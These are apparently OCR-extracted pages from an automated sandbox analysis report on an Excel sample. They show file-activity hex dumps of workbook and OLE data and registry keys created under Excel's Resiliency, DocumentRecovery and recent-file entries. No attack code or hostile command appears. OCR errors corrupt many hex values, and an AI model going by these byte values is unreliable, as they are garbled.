00 08 00 00 00 21 00
93 aa 62 b6 e0 01 00
00 ba 03 00 00 0f 00
00 00 00 00 00 00 00
00 00 00 00 00 e3 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6¢

Completion

success or wait

success or wait

Source

Count Address Symbol

6

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown

Page 22 of 36



File Path

C:\Users\user\Desktop\ODDE000O

C:\Users\user\Desktop\ODDE000O

Copyright null 2020

Offset Length Value

unknown 16384

unknown 16384

09 08 10 00 00 06 05

006732cd07c980 ... \.p....

01 00 06 06 00 00 el
00 02 00 b0 04 c1 00
02 00 00 00 e2 00 00

00 5¢ 00 70 00 02 00 .

002020 20 20 20 20 ....... X.@.....

2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 Oc 00 0a 00 07
00 02 00 03 00 Ob 00
0d 00 ba 01 03 00 00
00 00 9¢ 00 02 00 11
00 19 00 02 00 00 00
12 00 02 00 00 00 13
00 02 00 00 00 af 01
02 00 00 00 bc 01 02
00 00 00 3d 00 12 00
f0 00 69 00 d5 39 4a
1f 38 00 03 00 00 00
01 00 58 02 40 00 02
00 00 00

a4 e0c8c4 le 44 8c

6586 ad 86 17 9e 20 .

27 13f25d e4 a3 23

7a2536b08871ce .!

68 b8 1le712c40a0 . ..

e250e576c5603a ..

10 €9 06 a5 b4 97 98
cc 22 7fa5 10 37 fd
9 4d 9d f4 c7 5 d7
5fde d7 f5d8 cl eb
65 d1 6b d4 02 6f 01
51 b9 88 fe ab aa af
ec f6 82 a8 12 16 ee
2126 18 16 ad 87 83
08 70 35 38292 18
b0 83 24 be ab f4 9a
96 21 af 61 a4 55 af
a8 e0 60 da f4 Oc db
41 a9 02 bf 20 f4 11
d5 0d 39 fa 00 f9 99
0af9 7c 13 bc 42 50
54 €9 9a 86 bb 47 f9
1b 8593 a1 90 fe 75
fd 6a Oe 87 5f 7f 7d
3f 36 ed el d0 da d7
al 39 de 3e 98 Ob d7
ef ed d9 25 90 c3 ab
42 ea5c 79 57 90 87
bd a6 00 db f4 11 06
9d 67 4c 25 e8 c8 6d
dd 2f 70 45 41 69 2c
21 2e b3 40 8a 53 97
78 54 19 45 d6 €8 13
33 7c 44 2f 00 08 d1
58 09 dc 9a 13 cf b7
a7 58 2b f4 9e 92 e5
do 28 6d

Completion

success or wait

success or wait

Source

Count Address Symbol

15

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\ODDE000O

C:\Users\user\Desktop\ODDE000O

Copyright null 2020

Offset Length Value Ascii

unknown 16384

unknown 11794

724a804dcfe2ch rIM..)..+..*.|.Q...27..
29 b0 d0 83 2b b4 a2 \Tg.....".;...-....
8f2ad7a37ce6ca A3.# .
519a83a3d6 3f37 p.ck..b.J
9dalb5c5467a4fd ~..E.\S

1c 0d 2d de 9d a6 06 @...N....v..VS[N...#R..|.EE.
79a64457933d0a 1.....F.2\jH#. . Y. f.l
dac3ce774133d5 ... |v8.I...>
23 8b 22 87 bf e4 a8
0a 28 d6 00 8a dc 7a
ef 6¢ cb d4 ee 55 38
78 9a 14 Oc 26 af 70
a3 63 b6 6b 88 be e2
ae 62 a9 82 4a le de
8a 9f d6 2d 7 40 4f
84 dd b7 de ca 78 8c
5c 7e d9 01 b5 45 9e
b5 fb 5¢c a6 53 b8 ee
b4 fc cc 3a 75 8b 8a
cc 89 c0 12 48 d2 49
28 03 62 67 2e ff 20
c5 6e 73 f1 c4 90 ae
€7 64 9b 94 d2 1f 38
ed 69 d2 1d c1 e0 42
a3 9b 8e 06 8b 40 ef
de 94 4e 9e cc e7 dd
76 ea bb 56 53 5b 4e
e8 e9 f3 23 52 2e a6
49 ee 45 45 00 31 da
ba e0 09 2e 05 04 bd
46 7f 3f d2 5¢ 2c 6a
ad 48 23 ac aa c8 f4
c9 59 fc 20 66 c2 a4
6¢ 80 c9 cc 14 be 92
7c 76 38 d5 21 19 2e
8d 8c 3e

8c 00 8¢ 00 8¢ 00 8¢ .
00 8c 00 8c 00 8¢ 00 .
8c 00 8c 00 8c 00 8¢
00 8c 00 8c 00 8c 00
8c 00 8¢ 00 8¢ 00 8¢
00 8c 00 8c 00 8c 00
8c 00 8c 00 08 02 10 LA
004000000041 00 H..A. ..cccooueun L A....
2c 01 000000 000Q0 .......... J..A

01 0f 00 08 02 10 00

41 00 00 00 41 00 2c

01 00 00 00 00 00 01

0f 00 08 02 10 00 42

00 00 00 41 00 2¢c 01

00 00 00 00 00 01 of

00 08 02 10 00 43 00

00 00 41 00 2c 01 00

00 00 00 00 01 0Of 00

08 02 10 00 44 00 00

00 41 00 2c 01 00 00

00 00 00 01 0f 00 08

02 10 00 45 00 00 00

41 00 2c 01 00 00 00

00 00 01 Of 00 08 02

10 00 46 00 00 00 41

00 2c 01 00 00 00 00

00 01 0f 00 08 02 10

00 47 00 00 00 41 00

2c 01 00 00 00 00 00

01 0f 00 08 02 10 00

48 00 00 00 41 00 2c

01 00 00 00 00 00 01

0f 00 08 02 10 00 49

00 00 00 41 00 2c 01

00 00 00 00 00 01 of

00 08 02 10 00 4a 00

0000 41

Completion

success or wait

success or wait

Source

Count Address Symbol

1

2

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\ODDE000O

C:\Users\user\Desktop\ODDE000O

Copyright null 2020

Offset Length Value Ascii

unknown 16384

unknown 16384

724a804dcfe2ch rIM..)..+..*.|.Q...27..
29 b0 d0 83 2b b4 a2 \Tg.....".;...-....
8f2ad7a37ce6ca A3.# .
519a83a3d6 3f37 p.ck..b.J
9dalb5c5467a4fd ~..E.\S

1c 0d 2d de 9d a6 06 @...N....v..VS[N...#R..|.EE.
79a64457933d0a 1.....F.2\jH#. . Y. f.l
dac3ce774133d5 ... |v8.I....>
23 8b 22 87 bf e4 a8
0a 28 d6 00 8a dc 7a
ef 6¢ cb d4 ee 55 38
78 9a 14 Oc 26 af 70
a3 63 b6 6b 88 be e2
ae 62 a9 82 4a le de
8a 9f d6 2d 7 40 4f
84 dd b7 de ca 78 8c
5c 7e d9 01 b5 45 9e
b5 fb 5¢c a6 53 b8 ee
b4 fc cc 3a 75 8b 8a
cc 89 c0 12 48 d2 49
28 03 62 67 2e ff 20
c5 6e 73 f1 c4 90 ae
c7 64 9b 94 d2 1f 38
ed 69 d2 1d c1 e0 42
a3 9b 8e 06 8b 40 ef
de 94 4e 9e cc e7 dd
76 ea bb 56 53 5b 4e
e8 e9 f3 23 52 2e a6
49 ee 45 45 00 31 da
ba e0 09 2e 05 04 bd
46 7f 3f d2 5¢ 2c 6a
ad 48 23 ac aa c8 f4
c9 59 fc 20 66 c2 a4
6¢ 80 c9 cc 14 be 92
7c 76 38 d5 21 19 2e
8d 8c 3e

8c 00 8¢ 00 8¢ 00 8¢ .
00 8c 00 8c 00 8¢ 00 .
8c 00 8c 00 8c 00 8¢
00 8c 00 8c 00 8c 00
8c 00 8¢ 00 8¢ 00 8¢
00 8c 00 8c 00 8c 00
8c 00 8c 00 08 02 10 LA
004000000041 00 H..A. ..cccooueun L A....
2c 01 000000 000Q0 .......... J..A

01 0f 00 08 02 10 00

41 00 00 00 41 00 2c

01 00 00 00 00 00 01

0f 00 08 02 10 00 42

00 00 00 41 00 2¢c 01

00 00 00 00 00 01 of

00 08 02 10 00 43 00

00 00 41 00 2c 01 00

00 00 00 00 01 0Of 00

08 02 10 00 44 00 00

00 41 00 2c 01 00 00

00 00 00 01 0f 00 08

02 10 00 45 00 00 00

41 00 2c 01 00 00 00

00 00 01 Of 00 08 02

10 00 46 00 00 00 41

00 2c 01 00 00 00 00

00 01 0f 00 08 02 10

00 47 00 00 00 41 00

2c 01 00 00 00 00 00

01 0f 00 08 02 10 00

48 00 00 00 41 00 2c

01 00 00 00 00 00 01

0f 00 08 02 10 00 49

00 00 00 41 00 2c 01

00 00 00 00 00 01 of

00 08 02 10 00 4a 00

0000 41

Completion

success or wait

success or wait

Source

Count Address Symbol

2

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\ODDE000O

C:\Users\user\Desktop\ODDE000O

Copyright null 2020

Offset Length Value

unknown 14800

unknown 16384

4a 01 e7 c0 03 44 4a
01 e8 c0 03 41 6f 00
07 02 04 00 01 00 00
65 bd 00 18 00 4a 01
€6 00 41 00 00 80 41
40 41 00 00 80 46 40
4100 00 00 35 40 8
00 be 00 0a 00 4b 01
da 00 45 00 45 00 db
00 06 00 2a 00 4b 01
dc 00 45 00 00 00 00
00 00 00 ff ff 20 00
4c 01 dc ff 14 00 44
4b 01 dd c0 44 4b 01
de c0 03 44 4b 01 df
c0 04 41 6f 00 07 02
04 00 01 00 00 69 bd
00 18 00 4b 01 dd 00
4500 00 00 61 40 45
00 00 00 3e 40 45 00
00 80 4e 40 df 00 01
02 06 00 4b 01 €0 00
45 00 06 00 2a 00 4b
01 e5 00 41 00 00 01
00 00 00 00 ff ff 20
00 48 01 e5 ff 14 00
44 4b 01 e6 c0 44 4b
01 e7 c0 03 44 4b 01
e8¢0 03 41 6f 00 07
02 04 00 01 00 00 72
bd 00 18 00 4b 01 e6
00 41 00 00 00 2c 40
41 00 00 00 24 40 41
00 00 80 56 40 €8 00
be 00 Oa 00 4c 01 da
00 45 00 45 00 db 00
06 00 2a

09 08 10 00 00 06 05 .
0067 32cd07c980 .

01 00 06 06 00 00 el
00 02 00 b0 04 c1 00

02 00 00 00 e2 00 00 .
00 5¢ 00 70 00 02 00 .
00 20 20 20 20 20 20 .

2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 2020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 Oc 00 0a 00 07
00 02 00 03 00 Ob 00
0d 00 ba 01 03 00 00
00 00 9¢ 00 02 00 11
00 19 00 02 00 00 00
12 00 02 00 00 00 13
00 02 00 00 00 af 01
02 00 00 00 bc 01 02
00 00 00 3d 00 12 00
f0 00 69 00 d5 39 4a
1f 38 00 03 00 00 00
01 00 58 02 40 00 02
00 00 00

Ascii

J...DJ...Ao........ ool
A..A@A..F@A..5@
LEE...*K..E.... .
DK...DK....DK....Ao0........ i
.K..E...a@E..>@E...N@..
Ll KGELRKLGALL H
..DK...DK....DK....A0........I
KLALL@ALS@A..V@.
..... L.EE...*

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\ODDE000O

C:\Users\user\Desktop\ODDE000O

Copyright null 2020

Offset Length Value

unknown 200

unknown 328

fe ff 00 00 06 01 02

00 000000000000 ...

00 00 00 00 00 00 00

00 00 00 01 0000 00 ..x.

e0 85 9f f2 f9 4f 68
10 ab 91 08 00 2b 27
b3 d9 30 00 00 00 98
00 00 00 07 00 00 00
01 00 00 00 40 00 00
00 04 00 00 00 48 00
00 00 08 00 00 00 54
00 00 00 12 00 00 00
60 00 00 00 Oc 00 00
00 78 00 00 00 0d 00
00 00 84 00 00 00 13
00 00 00 90 00 00 00
02 00 00 00 e4 04 00
00 1e 00 00 00 04 00
00 0000000000 1e
00 00 00 04 00 00 00
00 00 00 00 1e 00 00
00 10 00 00 00 4d 69
63 72 6f 73 6f 66 74
20 45 78 63 65 6¢ 00
4000000000c0 7c
0d 23 d9 c6 01 40 00
0000 80 c4 2c f1 4e
c6 d6 01 03 00 00 00
00 00 00 00

fe ff 00 00 06 01 02
00 00 00 00 00 00 00
00 00 00 00 00 00 00

00 00 00 01 0000 Q0 ..h.

02 d5 cd d5 9c 2e 1b
1093 97 08 00 2b 2c
f9 ae 30 00 00 00 18
01 00 00 08 00 00 00
01 00 00 00 48 00 00
00 17 00 00 00 50 00
00 00 Ob 00 00 00 58
00 00 00 10 00 00 00
60 00 00 00 13 00 00
00 68 00 00 00 16 00
00 00 70 00 00 00 Od
00 00 00 78 00 00 00
Oc 00 00 00 d3 00 00
00 02 00 00 00 €9 fd
00 00 03 00 00 00 00
00 Oe 00 Ob 00 00 00
00 00 00 00 Ob 00 00
00 00 00 00 00 Ob 00
00 00 00 00 00 00 Ob
00 00 00 00 00 00 00
1e 10 00 00 06 00 00
00 09 00 00 00 44 6f
63 75 53 69 67 6e 00
0a 00 00 00 dO 9b dO
b8 d1 81 d1 82 32 00
0a 00 00 00 dO 9b dO
b8 d1 81 d1 82 33 00
0a 00 00 00 dO 9b dO
b8 d1 81 d1 82 31 00
0a 00 00 00 dO 9b dO
b8 d1 81 d1 82 34 00
0a 00 00 00 dO 9b dO
b8 d1 81

..Microsoft Excel.@.....| #...
@.....,.N....

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\ODDE000O

C:\Users\user\Desktop\ODDE000O

File Read

File Path

C:\Users\user\Desktop\ODDE000O
C:\Users\user\Desktop\ODDE000O
C:\Users\user\Desktop\ODDE000O

Registry Activities

Key Created

Key Path

Offset Length Value Ascii

unknown 3584 01100100I00102]0 010 O)EsrnEn T

00 03 00 00 00 04 00 .
00 00 05 00 00 0006 .
00 00 00 07 00 00 00 .
08 00 00 00 09 00 00 .
00 0a 00 00 00 Ob 00
00 00 0c 000000 0d .

00 00 00 Oe 00 00 00 ..6...7...8...9..

0f 00 00 00 10 00 00
00 11 00 00 00 12 00
00 00 13 00 00 00 14
00 00 00 15 00 00 00
16 00 00 00 17 00 0O
00 18 00 00 00 19 00
00 00 1a 00 00 00 1b
00 00 00 1c 00 00 00
1d 00 00 00 1e 00 00
00 1f 00 00 00 20 00
00 00 21 00 00 00 22
00 00 00 23 00 00 00
2400 00 00 25 00 00
00 26 00 00 00 27 00
00 00 28 00 00 00 29
00 00 00 2a 00 00 00
2b 00 00 00 2c 00 00
00 2d 00 00 00 2e 00
00 00 2f 00 00 00 30
00 00 00 31 00 00 00
3200 00 00 33 00 00
00 34 00 00 00 35 00
00 00 36 00 00 00 37
00 00 00 38 00 00 00
39 00 00 00 3a 00 00
00 3b 00 00 00 3c 00
00 00 3d 00 00 00 3e
00 00 00 3f 00 00 00
40 00 00

unknown 512 docflle0alblla
€1 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .
00 00 00 3e 00 03 00 .
fe ff 09 00 06 00 00
00 00 00 00 00 00 00 .
00 00 06 00 00 00 93 .
02 00 00 00 00 00 00 .
00 10 00 00 fe ff ff ff
00 00 00 00 fe ff ff ff
00 00 00 00 8d 02 00
00 8e 02 00 00 8f 02
00 00 90 02 00 00 91
02 00 00 92 02 00 00
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff f ff ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff f ff ff f ff ff ff
ff ff ff ff ff ff f ff ff ff ff
ff ff ff ff ff f ff ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff f ff ff ff ff ff
ff

Offset
unknown
unknown

unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options

Copyright null 2020

Length
16384
16384
16384

Source

Completion Count Address Symbol
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
Source
Completion Count Address Symbol
success or wait 1 7FEEAC59ACO unknown
success or wait 2 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
Source
Completion Count Address Symbol
success or wait 1 7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ED93F

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDA68

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDAF4

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDCD8

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDD54

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2020

Name

Max Display

Max Display

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8878498721 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3771420242.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

P PR R R R O O

Count

Source
Address

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\ED93F

Copyright null 2020

Name

Item 20

ED93F

Type

unicode

binary

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

04 00 00 00 F4 06 00 00 39 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 32 00 2E 00 35 00 30 00 2E 00
30 00 2E 00 73 00 68 00 65 00 65 00 74
00 2E 00 63 00 73 00 76 00 00 00 00 00
220000 00 43 00 3A 00 5C 00 55 00 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00 65
00 6D 00 70 00 5C 00 01 00 00 00 01 00
00 00 67 88 81 ED 4E C6 D6 01 3F D9
OE 00 3F D9 OE 00 00 00 00 00 B8 02 00
00 OA 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

Source

Count Address Symbol

8

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EDAG68 binary 04 00 00 00 F4 06 00 00 39 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EDAG8 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 35 00 2E 00 34 00 39 00 2E 00
33 00 2E 00 73 00 68 00 65 00 65 00 74
00 2E 00 63 00 73 00 76 00 00 00 00 00
2200 00 00 43 00 3A 00 5C 00 55 00 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00 65
00 6D 00 70 00 5C 00 01 00 00 00 01 00
00 00 D1 98 13 F1 4E C6 D6 01 68 DA
OE 00 68 DA OE 00 00 00 00 00 B8 02 00
00 OA 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
